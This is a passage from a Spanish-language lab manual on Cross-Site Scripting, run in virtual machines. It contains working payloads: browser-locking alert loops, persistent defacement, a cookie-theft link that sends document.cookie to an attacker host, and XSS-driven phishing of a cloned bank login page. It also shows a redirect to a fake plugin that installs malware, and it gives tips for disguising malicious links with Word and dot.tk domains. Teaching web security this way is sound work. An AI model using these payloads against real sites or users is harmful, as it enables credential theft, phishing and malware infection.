Ahora se debe enviar la URL “maligna” a la víctima que sería algo como:
http://hosting/Met_post/met_post.html, la URL puede no ser muy convincente pero
con un poco de Ingeniería Social2 y con ayuda de páginas web como
http://www.dot.tk/en/index.html?lang=es, se puede cambiar el nombre del dominio
y hacerlo algo más creíble. Ver imagen 119.
Otra forma es modificando el link desde un documento de Word, de tal forma que
en el campo “texto:” se colocará el link real de la web y en el campo
“Dirección:” se colocará la url de la página web a la que se desea direccionar.
Imagen 66. Edición de hipervínculo desde Microsoft Office Word
2
Ingeniería Social: Técnica especializada o empírica del uso de acciones estudiadas o habilidosas que
permite manipular a las personas para que voluntariamente realicen actos que normalmente no harían.
53
De esta forma la víctima dará clic en un link que aparentemente corresponde a
http://servidor, sin fijarse que al colocar el mouse sobre el link, el navegador en la
parte inferior indica realmente hacia donde apunta dicho link, en este caso al
servidor http://hosting.
Imagen 67. Mensaje de correo electrónico que contiene link modificado
Ahora desde la máquina virtual Víctima/Atacante, se debe abrir el navegador y

colocar la URL “maligna” como si la víctima hubiese dado clic en el link malicioso.
Imagen 68. Navegador Mozilla Firefox con url maligna
Lo siguiente que se observará es el script ejecutado.
54
Algunos programadores creen estar protegidos si utilizan el método POST como
forma de envío de datos para protegerse del Cross Site Scripting, siendo esta
opción un gran error.
7.3 ATAQUES CROSS SITE SCRIPTING (XSS)
Sin pasar por alto los bypass vistos anteriormente, se procederá a ver algunos
códigos maliciosos y otras técnicas de ataque como son el Phishing y el robo de
cookies.
7.3.1 Algunos códigos maliciosos.
El desarrollo de esta prueba se realizará en la página web Grupo Investigativo

Delitos Informáticos DIGIN desde la máquina virtual Víctima/Atacante con url
http://servidor/serv/pag_xss/nivel1/. Donde se inyectará los siguientes códigos.
Código 1.
<script>
for (i=0;i<5;i++)
alert("5 veces "+ i);
</script>
En este script se utiliza un ciclo para obligar a la víctima a dar clic en el botón
aceptar durante 5 veces.
Código 2.
<script>
for (;;)
alert("No te queda otra que reinciar");
</script>
55
El siguiente script está formado por un for al que no se le han pasado parámetros,
convirtiéndose en un ciclo infinito que obliga al usuario o víctima a finalizar la
aplicación desde el administrador de tareas.
Código 3.
<script>
function sinsalida ()
{
if (confirm("Selecciona OK y serás libre"))
{
alert("eres libre…… o?");
}
else
{
alert("una vez mas");
}
sinsalida ();
}
sinsalida ();
</script>
La función “sinsalida” del script contiene un if y un else que según su elección

despliega un mensaje tipo alert, además, el llamado reiterativo de la función
genera un ciclo infinito que obliga al usuario o víctima a cerrar la aplicación por
medio del administrador de tareas
56
Los scripts detallados anteriormente no serían muy útiles o productivos si los
enviamos por medio de un link “malicioso”, es decir, para vulnerabilidades tipo
reflejada. Este tipo de ataques son realmente productivos o peligrosos para
vulnerabilidades XSS tipo persistente ya que los scripts 2 y 3 darían como
resultado un Deface3 de la web.
7.3.2 XSS Persistente.
Escenario: Se tiene una máquina virtual denominada Servidor que aloja el libro de
visitas de la página web de Dragonjar, la cual es vulnerable a Cross Site Scripting
persistente. Además se cuenta con un Atacante ubicado en una máquina virtual
denominada Víctima/Atacante para realizar la inyección de código sobre esta web.
Objetivo: Realizar un Deface del libro de Visitas de Dragonjar mediante la

inyección de un código malicioso. Además se accederá a la web afectada desde la
máquina virtual Víctima/Atacante y Hosting.
Al final se restablecerá el servicio de la página web afectada.
Requisitos:

 Iniciar máquina virtual Hosting.
 Iniciar máquina virtual Víctima/Atacante, y abrir el navegador Mozilla
Firefox con la siguiente url http://servidor/serv/Libros_Vsi/
Para entender un poco la vulnerabilidad XSS tipo persistente, se usará como

ejemplo un libro de visitas ubicado en la máquina virtual denominada servidor, la
cual se atacará desde la máquina virtual Víctima/Atacante y comprobaremos la
persistencia del ataque desde la máquina virtual Hosting.
Primero se analizará el index.php del libro de visitas que se encuentra alojado en

la máquina virtual servidor, ubicada en:
C:\Archivos de programa\EasyPHP1-8\www\serv\Libros_Vsi\
La siguiente parte del código del index.php del libro de visitas corresponde a la
conexión de la Base de Datos, procesamiento y validaciones de los datos del
formulario, además se detalla en rojo la característica que tiene la variable
$usuario, la cual no se encuentra filtrada y por lo tanto es vulnerable, caso
contrario sucede con la variable $firma que valida los datos con la función
htmlentities.
3
Deface: Es la modificación de una página web sin autorización del dueño de la misma
57
Imagen 73. Fragmento de Código fuente archivo index.php
La otra parte del código corresponde al formulario que envía los datos por medio
del método GET
Imagen 74 Fragmento de Código fuente archivo index.php
Una vez conocido el código fuente del index.php del libro de visitas, se procederá
a ingresar a dicho libro por medio de la url http://servidor/serv/Libros_Vsi/ desde la
máquina virtual Víctima/Atacante.
58
Imagen 75. Página Web libro de Visitas
Una vez ingresado al libro de visitas, se procederá a dejar un mensaje para ver su
funcionalidad.
Imagen 76. Formulario para Ingreso de Información
Ahora se realizará el ataque con el script malicioso Código 2, utilizado

anteriormente en el apartado Algunos Códigos Maliciosos.
59
Desde Víctima/Atacante
Imagen 77. Inyección de código javascript en el formulario

En este punto se accederá al libro de visitas desde la máquina virtual Hosting
Desde Hosting
Imagen 78. Mensaje de alerta de javascript
Como se observó en el código fuente del libro de visitas, la información capturada

por medio del formulario es guardada en la base de datos del mismo servidor, por
esta razón cualquier usuario que ingrese a la web se verá afectado.
Un esquema sería el siguiente.
1. El Atacante inyecta código malicioso en el servidor de libro de Visitas

vulnerable.
2. Las Víctimas acceden al servidor vulnerado
3. El Servidor responde a las Víctimas con el código malicioso inyectado por
el Atacante.
En el esquema se puede detallar que el Atacante nunca interactúa directamente

con las Víctimas ya que el script malicioso se encuentra alojado en la Base de
Datos del mismo Servidor.
60
Esquema 1. Ataque XSS Persistente
Víctimas
Petición a Servidor
Devuelve
2.
Script Maligno
3.
Servidor web
Libro de Visitas
Inyección de código
1.
Atacante
Para no ser afectados por el código inyectado, se debe desactivar la opción de

javascript desde el navegador. Para ello se debe abrir el navegador y dar clic en
Herramientas desde la barra de menú, luego se elige opciones.
Imagen 79. Opciones del menú herramientas Mozilla Firefox
61
Lo siguiente a realizar es dar clic en la pestaña de Contenido y deseleccionar
Activar JavaScript, de esta forma ya se puede entrar a la página sin ser afectado
por el código malicioso.
Imagen 80. Módulo para desactivar Javascript en Mozilla Firefox
El siguiente paso consiste en liberar el libro de visitas del código malicioso

inyectado y para esto se debe abrir la base de datos donde se encuentra alojado
dicho código y se elimina el registro para habilitar nuevamente la página web del
libro de visitas.
Desde la máquina virtual servidor se abre el navegador y se ingresa el siguiente

link http://servidor/home/, luego para acceder a la base de datos se da clic en
MANAGE DATABASE.
Imagen 81. Módulo de Administración del Easyphp
Ahora se debe elegir la base de datos de interés llamada libro_visitas.
62
Imagen 82. Módulo de Administración de MySQL
La Base de Datos Libro_visitas, está conformado por una (1) tabla denominada
firmar, que contiene 3 campos nombrados como firma_ID, usuario y firma.
Para observar el contenido de los campos se debe dar clic en el icono que
identifica la tabla firmar como se observar en la imagen.
Imagen 83. Botón de acceso a los Datos del libro de visitas
A continuación se observa el script inyectado en uno de los registros de la tabla,

ahora sólo queda eliminarlo, ya sea por medio de sentencias SQL o simplemente
se selecciona el registro deseado y se da clic en como se muestra en la
imagen.
63
Imagen 84. Registro de los datos del Libro de Visitas en la Base de Datos
Una vez realizada la acción se podrá acceder nuevamente al libro de visitas de

Dragonjar sin verse afectado por el script.
7.3.3 Robo de cookies por medio de vulnerabilidad XSS.
Escenario: Se tiene una máquina virtual denominada Servidor que aloja una
página web de la INTERPOL que es vulnerable a Cross Site Scripting reflejado,
mediante la cual se accede a la base de datos de esta entidad. Además se cuenta
con una Víctima que se encuentra ubicada en la máquina virtual denominada
Víctima/Atacante.
Objetivo: Obtener el login y password de la Víctima que tiene acceso a la base de
datos de la página web de la INTERPOL, por medio del robo de cookies.
Requisitos:

 Iniciar máquina virtual Hosting., con el servicio Easyphp.
 Iniciar máquina virtual Víctima/Atacante, y abrir el navegador IExplorer
con la siguiente url http://servidor/serv/Cookie_Interpol/
Para el inicio del robo de las famosas cookies se usará la máquina virtual
servidor, que aloja la página web denominada interpol, con url
http://servidor/serv/Cookie_Interpol/ y con ubicación física C:\Archivos de
programa\EasyPHP1-8\www\serv\Cookie_Interpol\index.php
64
Imagen 85. Página Web de la INTERPOL
La página web interpol maneja cookies de sesión y las cookies de user y

password. Esto quiere decir que cada vez que un usuario ingresa a la página web
y se autentica, las cookies son guardadas en el equipo del usuario para ser
recordadas posteriormente.
Las cookies de sesión están activas desde la configuración del php.ini, como se
observa en la siguiente captura de pantalla.
Imagen 86. Configuración del PHP
65
Para un mejor desarrollo de la práctica, se modificó los valores de las siguientes 2
líneas del archivo php.ini para evitar la caducidad de la sesión al momento de
cerrar el navegador.
Las cookies de user y password son activadas desde la cabecera del index.php
de la web INTERPOL
Imagen 87. Fragmento código fuente del archivo index.php
El llamado de las cookies se hace desde las líneas 9 y 10 con la función

setcookie. Para mayor información sobre cookies pueden consultar la siguiente
web http://www.desarrolloweb.com/articulos/319.php
El proceso para el robo de la cookie sería el siguiente:

1. Atacante envía url maligna a la víctima con el fin de que se dé un
clic sobre el link. (Ingeniería Social)
2. La víctima al dar clic en el link, realiza una petición al servidor web
INTERPOL con el script incluido.
3. El servidor web INTERPOL devuelve la página con el script que se
ejecutará en el navegador de la víctima.
4. Al ejecutarse el script maligno en el navegador de la víctima, se
obtiene como resultado un redireccionamiento al Servidor web
66
Hosting que aloja el código maligno encargado de robar la cookie y
guardarla ya sea en un archivo .txt o en una Base de Datos.
5. El atacante accede al servidor web HOSTING para consultar la (las)
cookies robadas.
Esquema 2. Pasos para el Robo de Cookies
Para iniciar se debe estar seguro que los servidores easyphp en las máquinas
virtuales servidor y hosting se encuentren debidamente iniciados.
Imagen 88. Panel de control del Easyphp
67
Ahora desde la máquina virtual Víctima/Atacante se abre el navegador IExplorer
y se coloca en la url el siguiente link http://servidor/serv/Cookie_Interpol/
Una vez realizada la acción, la cookie de sesión es copiada en el disco duro de la
víctima en la siguiente ubicación:
C:\Documents and Settings\user1.PC4\Cookies\user1@servidor[2].txt
Imagen 89. Ubicación y contenido de la cookie de sesión
Ahora como agente de la Interpol, se procede a ingresar el User (angelus) y

Password (1234) para acceder a la Base de Datos, obteniendo el siguiente
resultado positivo.
Imagen 90. Página web de acceso concedido a la Base de Datos INTERPOL
68
Una vez se tiene acceso a la base de datos de la INTERPOL, el servidor guarda
las cookies (en este caso sin cifrar) de login y password en el disco de la
víctima, con ubicación:
C:\Documents and Settings\user1.PC4\Cookies\user1@Cookie_Interpol[2].txt

Junto con la cookie de sesión.
Imagen 91. Ubicación y contenido de la cookie de login y password
Antes de continuar, se observará cómo se realiza la autenticación de acceso a la

web INTERPOL. El acceso se realiza mediante una consulta a la base de datos, a
la cual se puede ingresar desde la máquina virtual servidor, escribiendo en la url
del navegador el siguiente link http://servidor/home/, luego se da clic al MANAGE
DATABASE y posteriormente se elige la base de datos interpol.
Imagen 92. Modulo de Administración de MySQL
69
Una vez elegida la base de datos se da clic en el icono de la tabla logeo y a
continuación se desplegará los valores de nick y pass de los usuarios que pueden
acceder.
Imagen 93. Botón de acceso a los Datos de la INTERPOL
Ya se conoce donde se guarda las cookies y como es el proceso de autenticación

de la página web.
Ahora se debe entender donde se encuentra la vulnerabilidad Cross Site Scripting

(XSS) de la pagina web INTERPOL. En la página web se puede encontrar dos
formularios, uno de acceso a la base de datos y otro de búsqueda. El formulario
de autenticación contiene un manejo de variable que no es vulnerable al XSS
debido a que el valor de la variable no se muestra en el index.php como en los
casos anteriores.
Imagen 94. Formulario de acceso a la Base de Datos INTERPOL
Las variables del formulario de autenticación son tratadas por el archivo xss1.php
ubicado en C:\Archivos de programa\EasyPHP1-8\www\serv\Cookie_Interpol
70
Imagen 95. Fragmento de código fuente archivo xss1.php
En cambio el formulario de búsqueda si muestra en el index.php el valor de la

variable como error en búsqueda.
Imagen 96. Opción de búsqueda de la página web INTERPOL

Además la variable se encuentra sin ningún tipo de filtro que evite la inyección de
código malicioso. Las variables del formulario de búsqueda son tratadas por el
archivo Xss0.php ubicado en:
C:\Archivos de programa\EasyPHP1-8\www\serv\Cookie_Interpol
Ya se tiene claro que existe una gran posibilidad de que el formulario de búsqueda
sea vulnerable a XSS, y para ello se utilizará un script sencillo para comprobarlo
71
Imagen 97. Inyección de código Javascript en formulario de Búsqueda
Como se puede observar en la imagen, la vulnerabilidad se encuentra en el

formulario de búsqueda, el cual servirá para crear el link “malicioso” que debe ser
enviado a la víctima.
Las cookies robadas pueden ser almacenadas en un archivo .txt o por medio de
una base de datos.
7.3.3.1 Robo de cookie para almacenar en un .txt
Link malicioso:
http://servidor/serv/Cookie_Interpol/?find=%3Cscript%3Ewindow.location%3
D%27http%3A%2F%2Fhosting%2Fcook%2Fhack.php%3Fcookie%3D%27%2
Bdocument.cookie%3B%3C%2Fscript%3E
Analicemos el link por partes:
 “http://servidor/serv/Cookie_Interpol/?find=”: Esta parte del link hace

referencia al formulario “buscar” del servidor web INTERPOL.
 =%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fhosting%2F
cook%2Fhack.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%
2Fscript%3E: Esta parte del link se encuentra el valor que contiene la
variable “buscar” y algunos caracteres especiales en hexadecimal, que
convertida a ASCCI se obtendría lo siguiente:
<script>window.location='http://hosting/cook/hack.php?cookie='+docu
ment.cookie;</script>
Analicemos el script:
72
 window.location='http://hosting/cook/hack.php, esta parte del script
hace un redireccionamiento al servidor Hosting por medio del objeto
location de la propiedad window, que contiene un código en el archivo
hack.php encargado de robar la cookie.
 ?cookie='+document.cookie, donde cookie es una variable requerida por

el archivo hack.php, encargado de guardar la cookie en uso por medio de
la propiedad cookie del objeto document.
Ahora se observará el famoso archivo hack.php.

Nombre archivo: hack.php
Ubicación: C:\Archivos de programa\EasyPHP 2.0b1\www\cook\hack.php
Imagen 98. Ubicación del Archivo hack.php
El código hack.php se encarga de obtener por medio de las variables $cookies,

$ip y $date los valores de cookies, y de ip de la víctima, junto con la fecha actual
de ejecución.
Una vez almacenados los valores en las variables, dichos valores son escritos en
un archivo llamado steal.php, que se crea dado el caso que no exista o reescribe
en caso contrario.
Al final del código realiza un redireccionamiento a la página original para evitar

sospechas.
73
Imagen 99. Código fuente del archivo steal.php
Una vez analizado el script, desde la máquina virtual Víctima/Atacante se debe

abrir el navegador IExplorer 6 (vulnerable a este tipo de ataques) y se coloca el
link “malicioso” en la url del navegador, como si la víctima hubiese dado clic.
Imagen 100. Navegador IExplorer con url maligna
En este momento la víctima desconoce que sus cookies han sido robadas.
Para observar la cookie, el atacante debe ingresar a la máquina virtual hosting en
la siguiente dirección C:\Archivos de programa\EasyPHP 2.0b1\www\cook
donde se observa que se ha creado un nuevo archivo llamado steal.php que
contiene la información de las cookies.
74
Imagen 101. Ubicación y contenido del archivo steal.php
7.3.3.2 Robo de cookie para almacenar en una Base de Datos.
Link malicioso
http://servidor/serv/Cookie_Interpol/?find=%3Cscript%3Ewindow.location%3
D%27http%3A%2F%2Fhosting%2Fcook%2Fhack1.php%3Fcookie%3D%27%2
Bdocument.cookie%3B%3C%2Fscript%3E
La única diferencia en la estructura del link de robo de cookies con

almacenamiento en un .txt a un almacenamiento en Base de Datos, es el nombre
del archivo .php al que accede.
Almacenamiento en un .txt ----------> hack.php

Almacenamiento en una B.D ---------> hack1.php
Ahora se verá el archivo hack1.php.

Nombre archivo: hack1.php
Ubicación: C:\Archivos de programa\EasyPHP 2.0b1\www\cook\hack1.php
Imagen 102. Ubicación del archivo hack1.php
75
Esta primera parte del código hack1.php en las líneas del 2-4, recibe el valor de
las variables cookie, IP y fecha.
En las líneas del 8-10 realiza la conexión a la base de datos y en las líneas del 13-
15 selecciona la base de datos.
En las líneas del 21-27 verifica las variables para evitar valores nulos que generen
mensajes de error.
Imagen 103. Fragmento de código fuente del archivo hack1.php
Esta segunda parte del código hack1.php en la línea del 30-40, se encarga de
realizar la consulta de la cantidad de registros existentes y crear un nuevo registro
donde se insertarán los valores.
Al final del código se realiza un redireccionamiento a la página original para evitar
sospechas.
Imagen 104 Fragmento de código fuente del archivo hack1.php
76
Una vez analizado el código, desde la máquina virtual Víctima/Atacante se abre
el navegador IExplorer 6 (vulnerable a este tipo de ataques) y se coloca el link
“malicioso” en la url del navegador, como si la víctima hubiese dado clic.
Sin más, sólo falta acceder a la base de datos donde se alojan los valores
guardados, y para ello se debe ingresar desde la máquina virtual Hosting, y
colocar en la url del navegador el siguiente link http://hosting/home/. Luego damos
clic en mysql gestion y elegimos la Base de Datos cookiesteal.
Por último se dará clic en el icono de la tabla steal y a continuación se
desplegará a la derecha los valores de ip, date y cookie robados a las víctimas.
Imagen 105. Registro de los datos de las cookies almacenadas en la Base de

Datos
7.3.4 Ataque XSS reflejado usando técnica phishing. (Obteniendo log y

password).
Escenario: Se tiene una máquina virtual denominada Servidor que aloja una
página web del Banco Internacional del Ecuador que es vulnerable a Cross Site
Scripting reflejado, También se cuenta con un servidor adicional ubicado en la
máquina virtual Hosting que aloja la página web de autenticación del Banco
Internacional del Ecuador clonada y una Víctima que se encuentra ubicada en la
máquina virtual denominada Víctima/Atacante.
Objetivo: Obtener el login y password de acceso a los servicios en línea del

Banco Internacional de la Víctima, por medio de la página web Clonada. (técnica
de Phishing).
77
Requisitos:

 Iniciar máquina virtual Víctima/Atacante, y abrir el navegador IExplorer o
Mozilla firefox con la siguiente url
http://servidor/serv/BcoInternacional/
La combinación de estas dos técnicas genera uno de los ataques más

interesantes y comunes que se pueden encontrar en la red y que son de alta
peligrosidad ya que compromete la confidencialidad e integridad de la
información.
Para el desarrollo de esta práctica se utilizará:
 Máquina virtual servidor, que aloja la página web del Banco Internacional
del Ecuador.
 Máquina virtual Hosting, que aloja la página web clonada y modificada del
Banco Internacional, para el ataque con técnica Phishing
 Máquina virtual Víctima/Atacante, que corresponde al equipo de la
víctima, que recibe el link “malicioso”.
Lo primero es acceder a la página web principal del Banco Internacional tal y

como lo haría un usuario normal (la víctima.)
Dicha página web está estructurada por una página principal, una de
autenticación, una de verificación de autenticidad con la base de datos del
banco y una de acceso a la entidad.
Página web principal del Banco Internacional.

Nombre archivo: index.php
Máquina Virtual: Servidor
Ubicación:C:\Archivos de programa\EasyPHP1-
8\www\serv\BcoInternacional\index.php
Url: http://servidor/serv/BcoInternacional/
Para acceder se debe colocar en el navegador la URL de la página principal. Una

vez visualizada, se puede destacar la existencia de los botones TARJETAS
DEBITO y TARJETAS CREDITO, que se encarga de redireccionar a la página de
autenticación, y el formulario de Búsqueda que es vulnerable al ataque XSS.
78
Imagen 106. Página web principal del Banco Internacional del Ecuador
Ahora se procede a dar un clic en el botón TARJETAS DEBITO o TARJETAS

CREDITO para acceder a la página de autenticación
Página web de autenticación del Banco Internacional.
Nombre archivo: home.php
8\www\serv\BcoInternacional\home.php
Imagen 107. Página web de autenticación del Banco Internacional del

Ecuador
79
En esta página web la víctima accede con el número de tarjeta asignado y la clave
se ingresa por medio del teclado virtual, que cambia de posición los números de
forma aleatoria con cada ingreso realizado como mejora en la seguridad. Una vez
ingresado los datos de Nro. Tarjeta y Clave, se realiza el proceso de verificación
de autenticidad.
Página web de verificación de autenticidad del Banco Internacional.

Nombre archivo: logon.php
8\www\serv\BcoInternacional\logon.php
La primera parte del código corresponde a la Conexión con la Base de Datos
Imagen 108. Fragmento código fuente archivo logon.php
La segunda parte corresponde al Procesamiento de los Datos de Autenticación.
En resumen:
 las líneas 16 al 20 verifica el envío de las variables y las graba en las

variables $nick1 y $pass1.
 En las líneas del 23 al 25 se realiza una consulta a la base de datos para
saber si coinciden los valores enviados por medio del formulario con los
almacenados en la Base de Datos.
 En las líneas del 28 al 33, se realiza el acceso a la web ya que el resultado
de autenticación es positivo, además se realiza una consulta para capturar
el valor “name” del usuario logeado para mostrarlo en la web de acceso.
 En las líneas 38 y 39 se realiza un redireccionamiento a la página web
principal debido a que el proceso de autenticación es negativo
80
Imagen 109. Fragmento código fuente archivo logon.php
Para observar la Base de Datos con la cual se validan los datos, se debe ingresar
desde la máquina virtual servidor, escribiendo en la url del navegador el siguiente
link http://servidor/home/, luego se da clic al MANAGE DATABASE y se elige la
base de datos banco.
Imagen 110. Panel de administración de Base de Datos de MySQL
Una vez elegida la base de datos se da un clic en el icono de la tabla login y a

continuación se desplegará los valores de user, name y pass del usuario que
puede acceder.
Imagen 111. Registro de los datos capturados y almacenados en la Base de

Datos
81
Si el proceso de autenticación es positivo, se observará la página web de acceso
concedido.
Página web de acceso concedido del Banco Internacional.

Ubicación:
C:\Archivos de programa\EasyPHP1-
8\www\serv\BcoInternacional\acceso\index.php
Imagen 112. Página web de acceso concedido del Banco Internacional del
ecuador
Ya se conoce como se autentica el usuario “víctima” para acceder a los servicios

del Banco Internacional. Ahora observaremos cual es el Proceso de ataque
Cross Site Scripting con técnica de Phishing.
1. El atacante envía url maligna a la víctima con el fin de que se dé un

clic sobre el link. (Ingeniería Social)
2. La víctima al dar clic en el link, realiza una petición al servidor web

Banco Internacional con el script incluido.
3. El servidor web Banco Internacional devuelve la página con el

script que se ejecutará en el navegador de la víctima.
4. Al ejecutarse el script maligno en el navegador de la víctima, se

obtiene como resultado un redireccionamiento al Servidor web
Hosting que aloja la página clonada
82
5. El Servidor web Hosting devuelve la página Clonada a la víctima
con el fin de obtener el login y el password que son almacenados en
una Base de Datos ubicada en el mismo Servidor web Hosting.
6. El atacante accede a la base de datos del servidor web HOSTING

con el fin de consultar los datos de login y password adquiridos y
almacenados por medio de la página web clonada del Banco
Internacional.
Esquema 3. Pasos Ataque XSS con técnica de Phishing
Petición a Servidor con url maligna

2.
Devuelve Página Web

con Servidor web
Script Maligno Banco Internacional
Víctima 3.
Petición a Servidor por
script maligno
4.
Envía URL
Maligna Devuelve Página
1. Clonada
5.
Servidor web
HOSTING
Accede a la
Base de Datos
6.
Atacante
Para iniciar el ataque se debe primero estar seguro que los servidores easyphp
en las máquinas virtuales servidor y hosting se encuentren iniciados.
83
Imagen 113. Panel de control del Easyphp
Segundo, saber donde se encuentra la vulnerabilidad Cross Site Scripting (XSS)

de la pagina web Banco Internacional. Para ello se analizará el código fuente de
la página principal (index.php), donde se puede observar que el formulario de
búsqueda expone el valor de la variable como error en búsqueda, además, el
manejo de la variable en el archivo Xss0.php se encuentra sin ningún tipo de filtro
que evite la inyección de código malicioso.
Xss0.php ubicación: C:\Archivos de programa\EasyPHP1-

8\www\serv\BcoInternacional
Imagen 114. Fragmento código fuente archivo xss0.php
Ya se sabe que existe una gran posibilidad de que el formulario de búsqueda sea
vulnerable a XSS, y para ello se utilizará un script sencillo para comprobarlo
Imagen 115. Mensaje de alerta de Javascript por inyección de código
84
Como se puede observar en la imagen, la vulnerabilidad se encuentra en el
formulario de búsqueda, el cual servirá para crear el link “malicioso” que debe ser
enviado a la víctima.
El link “malicioso” sería el siguiente:
http://servidor/serv/BcoInternacional/?Buscar=%3Cscript%3Edocument.locat
ion.href+%3D+%22+http%3A%2F%2Fhosting%2Fphishing%2Fhome.jsp.html
%22%3B%3C%2Fscript%3E#
Análisis del link por partes:
 “http://servidor/serv/BcoInternacional/?Buscar=”: Esta parte del link

hace referencia al formulario “Buscar” del servidor web Banco
Internacional.
 “%3Cscript%3Edocument.location.href+%3D+%22+http%3A%2F%2Fho
sting%2Fphishing%2Fhome.jsp.html%22%3B%3C%2Fscript%3E#”: En
esta parte del link se encuentra el valor que almacena la variable “Buscar”
la cual contiene algunos caracteres especiales en hexadecimal, que
convertida a ASCCI se obtiene lo siguiente:
<script>document.location.href =
"http://hosting/phishing/home.jsp.html";</script>
Análisis del script:
 document.location.href = "http://hosting/phishing/home.jsp.html",
Esta parte del script hace un redireccionamiento al servidor Hosting por
medio del objeto location de la propiedad document, que contiene la web
clonada identificada como home.jsp.html.
Ahora se detallará el archivo home.jsp.html

Nombre archivo: home.jsp.html
Ubicación: C:\Archivos de programa\EasyPHP 2.0b1\www\phishing
Las partes más importante se encuentra en las líneas 80, 162 y 168.
La línea 80 contiene el “action”, el cual determina que la página xss.php será la

encargada de “tratar” las variables que se envíen con el formulario, según el
“method” usado, siendo para este caso el método POST.
85
En la línea 162 y 168 contiene el “name” que identifica a cada uno de los input que
serán enviados por el formulario como son “usuario” y “clave”, uno del tipo text y
otro del tipo password respectivamente.
Imagen 116. Fragmento código fuente del archivo home.jsp.html
Ahora se detallará el archivo xss.php encargado de recibir las variables enviadas

por el formulario
Nombre archivo: xss.php

Ubicación: C:\Archivos de programa\EasyPHP 2.0b1\www\phishing
Como ya se ha visto en puntos anteriores, el código se encarga de hacer una
conexión a la base de datos llamada phishing, para almacenar en ella las
variables enviadas por el formulario mediante el método POST.
Se usa la sentencia INSERT de SQL para la acción de almacenamiento y
posteriormente es redireccionada a la página de autenticación original para evitar
sospechas.
Imagen 117. Fragmento de código fuente del archivo xss.php
86
Para iniciar el ataque XSS con la técnica de Phishing, se debe ubicar como
primera instancia en la máquina virtual Víctima/Atacante y abrir el navegador
Mozilla Firefox. Posterior a esto se debe colocar el link “malicioso” en la url del
navegador como si la víctima hubiese dado clic.
Imagen 118. Navegador web Mozilla firefox con url maligna
En este momento la víctima desconoce que ha sido direccionada a una página

Clonada del Banco Internacional y que al momento de dar clic en el botón
Ingresar, el Número de la Tarjeta y la Clave personal serán enviadas a la base de
datos del atacante.
En la imagen se puede observar que la url en lugar de ser http://servidor que es
la original del Banco, observamos http://hosting que corresponde al servidor del
atacante.
Original ---> http://servidor/serv/BcoInternacional/home.php
Falsa --------> http://hosting/phishing/home.jsp.html
Imagen 119. Página web clonada del Banco Internacional del Ecuador
87
Para hacer menos evidente la URL del servidor atacante al momento de cargar la
página clonada, lo que se debe hacer es renombrar la dirección web o url maligna,
con la que ustedes deseen, con la diferencia de que el dominio es diferente.
Para realizar este tipo de cambio en un campo no virtualizado (Real) se debe
ingresar a la página web http://www.dot.tk/en/index.html?lang=es, e ingresar la
URL del servidor atacante y seguir los pasos indicados, obteniendo al final un
resultado como el siguiente.
Original ---> http://servidor/serv/BcoInternacional

Falsa --------> http://servidor.tk ó http://BcoInternacional.tk
Imagen 120. Página web dot.tk para renombrar url
Para observar los valores capturados y guardados en la base de datos, se debe

ingresar a la máquina virtual Hosting, y colocar en la url del navegador el
siguiente link http://hosting/home/. Luego se da clic en mysql gestion y se elige
la Base de Datos llamada phishing.
Imagen 121. Panel de administración de Base de Datos de MySQL
88
Por último se da un clic en el icono de la tabla inflo y a continuación se
desplegará a la derecha los valores de user y pass robados a la víctima.
Imagen 122. Registro de los datos capturados y almacenados en la Base de

Datos
7.3.5 Ataque XSS persistente para infección con malware (usando técnica
phishing).
Escenario: Se tiene una máquina virtual denominada Servidor que aloja el libro de
visitas de la página web de Dragonjar, la cual es vulnerable a Cross Site Scripting
persistente. También se cuenta con un servidor adicional ubicado en la máquina
virtual Hosting que aloja la página web del libro de visitas de Dragonjar clonada y
el malware para infectar. Además se cuenta con una Víctima que se encuentra
ubicada en la máquina virtual denominada Víctima/Atacante.
Objetivo: Infectar a la víctima con malware4 por medio de la vulnerabilidad Cross

Site Scripting y técnica de phishing
Requisitos:

 Iniciar máquina virtual Víctima/Atacante, y abrir el navegador IExplorer o
Mozilla firefox con la siguiente url http://servidor/serv/Libros_Vsi/
El siguiente ataque tiene como fin infectar la máquina de múltiples víctimas con
cualquier tipo de malware, apoyado de la técnica de Phishing.
4
Malware: Término que engloba a todo tipo de programa o código de computadora cuya función es dañar
un sistema o causar un mal funcionamiento.
5
Máquina Zombie: Son computadoras infectadas por algún tipo de malware, al servicio de terceras personas
para ejecutar actividades hostiles con total desconocimiento del propietario o administrador del equipo
89
Este tipo de infección por medio de malware como troyanos o virus, permite al
atacante obtener el control del equipo, la destrucción de la información, daño del
mismo, o convertirlo en una máquina zombie5.
Para el desarrollo de esta práctica se utilizará:
 Máquina virtual servidor, que aloja la página web del libro de visitas.
 Máquina virtual Hosting, que aloja la página web clonada y modificada del
Libro de visitas, para el ataque con técnica Phishing
 Máquina virtual Víctima/Atacante, que corresponde al equipo de la
víctima, que ingresa a la web.
Lo primero que se hará es ingresar a la página web que aloja el libro de visitas
desde la máquina virtual Víctima/Atacante
Página web Libro de Visitas.

Ubicación: C:\Archivos de programa\EasyPHP1-8\www\serv\Libros_Vsi\index.php
Url: http://servidor/serv/Libros_Vsi/
Imagen 123. Página web libro de Visitas.
El esquema del ataque es el siguiente:
1. El Atacante inyecta código malicioso en el servidor de libro de Visitas

vulnerable.
2. Las Víctimas acceden al servidor vulnerado
3. El Servidor responde a las Víctimas con el código malicioso inyectado por
el Atacante.
90
4. Las Víctimas realizan una petición al Servidor Hosting a causa de un
redireccionamiento gestionado por el Script Maligno, que lo dirige a una
página web clonada (Técnica Phishing).
5. La víctima procede a descargar plugin requerido por la web, que realmente
es un malware.
Esquema 4. Pasos Infección con malware XSS persistente.

Víctimas
Descarga Petición a Servidor Petición a Servidor

Malware por Script Maligno 2.
5. 4.
Devuelve
Script Maligno
3.
Servidor web
Libro de Visitas
Servidor web
HOSTING Inyección de código
1.
Atacante
Para empezar se debe inyectar el código malicioso en el campo usuario del

formulario del libro de visitas, con el fin de afectar a cualquier usuario que la visite
con un redireccionamiento a la web clonada ubicada en el servidor Hosting.
El código malicioso sería el siguiente.

<script>document.location.href = "
http://hosting/libro_visi_malware/index.php";</script>
Imagen 124. Inyección de código en formulario libro de visitas
91
El resultado inmediato es un redireccionamiento a la página web clonada, donde

se observa un mensaje que generalmente sale cuando el navegador requiere de
algún plugin a instalar, para desplegar todos los recursos visuales de la web, tal y
como se muestra en la imagen.
Imagen 125. Mensaje de solicitud de instalación de un supuesto Plugin.
Se analizará el código que nos interesa de esta página.

Ubicación: C:\Archivos de programa\EasyPHP 2.0b1\www\libro_visi_malware\
Url: http://hosting/libro_visi_malware/index.php
